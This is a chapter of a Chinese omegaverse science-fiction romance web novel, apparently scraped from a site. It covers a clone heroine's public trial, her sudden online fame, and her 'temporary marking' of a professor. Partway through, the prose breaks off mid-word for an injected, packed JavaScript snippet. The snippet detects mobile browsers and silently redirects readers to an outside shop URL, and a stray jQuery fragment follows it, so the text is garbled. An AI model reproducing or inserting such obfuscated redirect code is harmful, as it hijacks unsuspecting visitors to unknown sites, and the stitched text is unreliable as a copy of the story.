35. 第 35 章
    “日前,叛军首领knight的真实身份揭晓,其本人已于赫拉克莉斯大教堂爆炸中身亡。”

    “前执政官奥斯伯格·赫利的审判大会于今日开启,国会已经整理在详细受害者名单,并邀请受害者家人悉数到场聆讯,专家透露奥斯伯格至少将面临九百八十七年的刑期……”

    忒弥斯遇害的真相也被公之于众,伊芙琳作为证人出席审判现场。

    “伊芙琳小姐,请您稍微转头。”

    伊芙琳稍微转过脑袋,带动满头的金属仪器发出“哐啷哐啷”的声音,国会中心的大屏上,是她脑袋里的晶体成像。

    晶体正在缓慢转动,随着她的思考、活动,晶体中的微粒在迅速游移,聚合、分散,让围观的人们啧啧惊叹。

    坐在那里的,分明是一个灵动可爱的少女,她仰头看看自己的脑部成像,又看看观众席的众人,有点尴尬地吐了吐舌头。

    人们很难接受她是赫利家族制作出来的,忒弥斯的克隆人,当今世界最可怕的战争武器。

    只有当戴着手铐的奥斯伯格被带到审判席的时候,这位可爱的武器小姐才沉下脸,露出了想要将仇人剥皮拆骨的神情,让人不寒而栗。

    “兰登博士缺席审判现场,但他派来助手,出示了‘停止制作克隆人’以及‘绝不违规阅读克隆人脑部内容’承诺书,也就是说,现存的一百二十二名克隆人,将是世界上最后的克隆人。”

    伊芙琳从审判现场出来,心情非常轻松,因为她终于跟赫利家族脱离了关系,也就是说,从今往后她可以尝试作为一个普通人生活。

    普通人,上学、恋爱、工作、结婚、生子,克隆人不能生孩子,到帝国福利中心去领养一个孩子也不错。

    她这样想着,却被一群人拿着话筒抬着直播仪器围上来,堵住了去路。

    “伊芙琳小姐,你现在是星网上热度最高的‘克隆人战士’,还是全民票选出来‘最适合结婚’的‘机器人女友’,请问你有什么看法?”

    伊芙琳惊讶地捂住嘴巴:“机器人女友,说的是我吗?”

    “好可爱!”

    “伊芙琳小姐,刚才的动作可以再做一遍吗?”

    摄像机“咔嚓咔嚓”,捕捉伊芙琳的每一个表情,记者们都知道,这位本体是一颗晶石的可爱少女,是近期最大的流量热点。

    伊芙琳好不容易应付了记者,自己登录上了星网,才发现国民们对她的讨论。

    “武力值超高*绝世美颜和绝对忠诚*杀敌绝不手软对你懵懂可爱的机器人女友,伊芙琳殿下,请接受我的求婚吧!”

    “好可惜,真的好可惜,克隆人技术没有伤害任何人,兰登博士为什么要停掉!帝国欠我一个机器人alpha老婆!”

    伊芙琳笑得停不下来。

    ……

    “伊芙琳小姐,你别笑了,没看见兰登博士脸都黑了吗?”

    菲莉亚实在看不下去,提醒在课堂上登录星网,明目张胆偷笑的伊芙琳。

    “哎?”

    伊芙琳合上书本,盖住她的通讯设备。

    她在远征军期间没有登陆过星网,回国后也被该死的未成年人防沉迷系统阻拦,现在是有一点沉迷在星网的花花世界里面。

    菲莉亚顶着那张人畜无害的脸,摸进她的书里面,残酷地把她的通讯设备拿走。

    伊芙琳欲哭无泪,只好把注意力放回课堂上。

    她抬头看兰登,后者没有在看她,正站在操作台,戴着白色手套的长指捏着一瓶试剂摇晃,原本分层的蓝色溶液和白色溶液逐渐混合,形成一种更浅的蓝。

    兰登说了一连串专业术语,伊芙琳没听清,光顾着看他的手了。

    奥斯伯格正在接受审判,兰登拒绝了担任执政官,表示相比掌管整个帝国,他更喜欢做研究。

    于是现在执政官之位空悬,几个大家族的人在暗中竞争,但最终由谁来执政,还是要经过兰登的同意。

    他本人则回到了首都大学,在他的实验室里面,依旧埋头于一堆看起来这辈子不可能研究得完的标本和案例之中,继续钻研阻碍着人类平均寿命继续突破的种种疑难杂症。

    伊芙琳也想起了她的另一个身份,首都大学,兰登教授门下的一名新生。

    她敲了敲脑壳,表示自己脑子里的这颗晶体实在太过蠢笨,只能控制身体打打杀杀,完全没有能力去接受当今世界最顶尖的医学教育。

    “试试吧,不然你怎么知道自己不喜欢?”当时兰登这么跟她说的。

    他知道,她想要过普通人的生活,上学,是重要的一项任务,虽然这个学是难上了点。

    然后伊芙琳就发现,她真的不喜欢,听着枯燥的医学知识让她只想睡觉。

    伊芙琳撑着桌子,眼皮越来越重,直到某个入睡的临界值,脑袋突然擦过手心重重一坠——她突然惊醒。

    动静挺大的,让周围的天才们都对她投来目光。

    伊芙琳还有点迷糊,不好意思地对周围的人点点头表示抱歉,她努力睁大眼睛看向兰登,发现兰登的脸色还真不太好,嘴角紧紧抿着,眼睛里有点水光。

    藏在金发下的耳朵也似乎有点红。

    “噔——”试剂碰到桌面发出清脆的响声。学生们低头不敢动,兰登教授看来是很生气了,为了给伊芙琳小姐留面子,才没有当众训斥她。

    “伊芙琳。”兰登似乎咬着牙叫出这个名字。

    “在!”

    “去我的实验室待着。”

    “好。”

    伊芙琳合起笔盖,把自己仅有的一本书带上,垂着脑袋从教室后面离开。

    终于把这大小姐送走了。学生们都松了口气,却见兰登教授快速做完剩下的实验,和他们简单提了几个要点,就宣布这节课到此结束。

    “下节课是测验,这节课的要点包括在测验中。”

    兰登教授离开的时候,脚步也比平常要快很多。

    众人虽然有点疑惑,但想到兰登平时的魔鬼行径,还有下节课的测验,都不敢多想,赶紧翻开书本复习。

    ……

    兰登的实

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234833|151410||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    验室伊芙琳一点都不陌生,可以说她就是在这里长大的。

    为了掩饰兰登的白茶信息素的味道,实验室里的通风系统加入了同款的白茶香水,这让每一个离开实验室的人,身上都会沾满清香。

    伊芙琳抱着一个枕头,深深呼吸了一口,熟悉的感觉让她非常舒适。

    就像回到了妈妈的怀抱。

    虽然她没有妈妈,也不知道妈妈的怀抱是什么,只是她从星网上学来的,人们眷恋旧物常用的比喻。

    蜷缩在她经常使用的实验床上,抱着枕头几乎睡着,她听见实验室的门被打开。

    她睁开眼睛,看见刚才还在讲台上侃侃而谈的青年教授,正蹲在实验室的小床前,眼睛闪着水光,眼下一片嫣红,不自觉喘息的嘴唇也红得吓人。

    伊芙琳坐起来,想起自己是个女孩子,还用手往下抻了抻几乎挂到腰上的短裙。

    兰登仰头看着她,目光里的恳求显而易见。

    “又发作了?”

    兰登点头。

    伊芙琳忽略自己有点变快的心跳,从小床上跳下来:“来吧。”

    小床上的人换成了兰登,他趴在床上,双臂环抱着伊芙琳刚才抱过的小枕头,把脑袋埋进枕头里面,只留下个金色顺毛后脑勺。

    伊芙琳的手有点抖,撕下那块贴在后颈的,已经鼓起来的抑制贴。

    霎时间浓郁到极点的白茶信息素在空气中蔓延,伊芙琳虽然无感,但她的心脏“扑通扑通”直跳,脸也有些发烫,她十分确信,如果换了一个正常的alpha站在这里,一定会忍不住扑上去。

    兰登的病症,从教堂爆炸那天开始。

    在伊芙琳的精神力空间里,他的情热期被直接催发,当时情况紧急,伊芙琳不得已对他做了临时标记。

    其实她不知道临时标记是什么,还是迷糊中的兰登指引她这么做的。

    然后,他就变成这样了。

    在她离开勒斯特帝国那段时间,兰登为了应对叛军,用剂量很重的药物抑制发热,然后他两次进入她的信息素凝结的精神力空间里,更加雪上加霜。

    兰登为自己自测的结果,是他要面临一段非常紊乱的生理周期,直到慢慢用药剂调理好身体,而经过她的信息素侵袭,在这段时间里,普通的抑制剂将不再管用。

    也就是说,他需要很多的临时标记。

    来自她的临时标记。

    伊芙琳本来没什么心理障碍,因为她把兰登示为最好的朋友,朋友之间理应互帮互助。

    而心理障碍,来自于做这件事的时候,兰登红得似要滴血的耳尖、汗涔涔的头发和滚烫的鼻息。

    “这是治病。”

    “兰登是她的朋友。”

    “她绝对不想要他痛苦。”

    她这么告诉自己。

    “是不是重了?”她在兰登闷哼时问道。因为上次标记完,兰登捏着她的下巴,说她有两颗虎牙。

    “没有。”

    过了很久,闷闷的声音才通过枕头的阻隔,传到她的耳中。